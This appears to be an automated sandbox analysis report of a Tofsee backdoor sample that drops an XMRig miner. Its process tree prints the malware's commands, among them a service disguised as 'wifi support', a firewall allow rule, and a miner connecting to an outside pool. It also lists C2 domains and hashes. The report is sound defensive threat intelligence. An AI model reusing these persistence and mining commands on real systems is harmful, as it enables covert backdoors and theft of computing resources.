Analysis

  • max time kernel
    142s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    14/11/2022, 15:59

General

  • Target
    file.exe
  • Size 308KB
  • Sample221114-te21mscd53
  • SHA256 187175dfd56dafcab9056ffe9e0c2f6a2d8432231a7d094356ed118b6bc0a245
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1764
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\eahhvzpw\
      2⤵
        PID:896
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hjmxsmbc.exe" C:\Windows\SysWOW64\eahhvzpw\
        2⤵
          PID:1280
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create eahhvzpw binPath= "C:\Windows\SysWOW64\eahhvzpw\hjmxsmbc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1508
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description eahhvzpw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1416
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start eahhvzpw
          2⤵
          • Launches sc.exe
          PID:1276
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1536
      • C:\Windows\SysWOW64\eahhvzpw\hjmxsmbc.exe
        C:\Windows\SysWOW64\eahhvzpw\hjmxsmbc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1608
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:760
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1700

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            hjmxsmbc.exe

            • Path C:\Users\Admin\AppData\Local\Temp\hjmxsmbc.exe
            • Size 13.0MB
            • SHA256 623f70b24193882cf21a8cebe4d499880c20c9fe8e1e88e23e71df1d1b0ce16a
            • MD5 SHA1 SHA512 SSDEEP

            hjmxsmbc.exe

            • Path C:\Windows\SysWOW64\eahhvzpw\hjmxsmbc.exe
            • Size 13.0MB
            • SHA256 623f70b24193882cf21a8cebe4d499880c20c9fe8e1e88e23e71df1d1b0ce16a
            • MD5 SHA1 SHA512 SSDEEP

            memory/760-88-0x0000000000190000-0x00000000001A0000-memory.dmp

            memory/760-100-0x00000000000D0000-0x00000000000E5000-memory.dmp

            memory/760-97-0x0000000000300000-0x0000000000307000-memory.dmp

            memory/760-94-0x0000000005880000-0x0000000005C8B000-memory.dmp

            memory/760-91-0x00000000001F0000-0x00000000001F5000-memory.dmp

            memory/760-70-0x00000000000D0000-0x00000000000E5000-memory.dmp

            memory/760-85-0x0000000000160000-0x0000000000166000-memory.dmp

            memory/760-73-0x00000000000D0000-0x00000000000E5000-memory.dmp

            memory/760-80-0x00000000000D0000-0x00000000000E5000-memory.dmp

            memory/760-82-0x0000000001970000-0x0000000001B7F000-memory.dmp

            memory/1608-66-0x00000000009A8000-0x00000000009BE000-memory.dmp

            memory/1608-76-0x0000000000400000-0x0000000000850000-memory.dmp

            memory/1608-77-0x00000000009A8000-0x00000000009BE000-memory.dmp

            memory/1700-101-0x00000000002B0000-0x00000000003A1000-memory.dmp

            memory/1700-103-0x00000000002B0000-0x00000000003A1000-memory.dmp

            memory/1764-55-0x0000000075BA1000-0x0000000075BA3000-memory.dmp

            memory/1764-69-0x0000000000998000-0x00000000009AE000-memory.dmp

            memory/1764-54-0x0000000000998000-0x00000000009AE000-memory.dmp

            memory/1764-58-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1764-71-0x0000000000400000-0x0000000000850000-memory.dmp

            memory/1764-59-0x0000000000400000-0x0000000000850000-memory.dmp

            memory/1764-57-0x0000000000998000-0x00000000009AE000-memory.dmp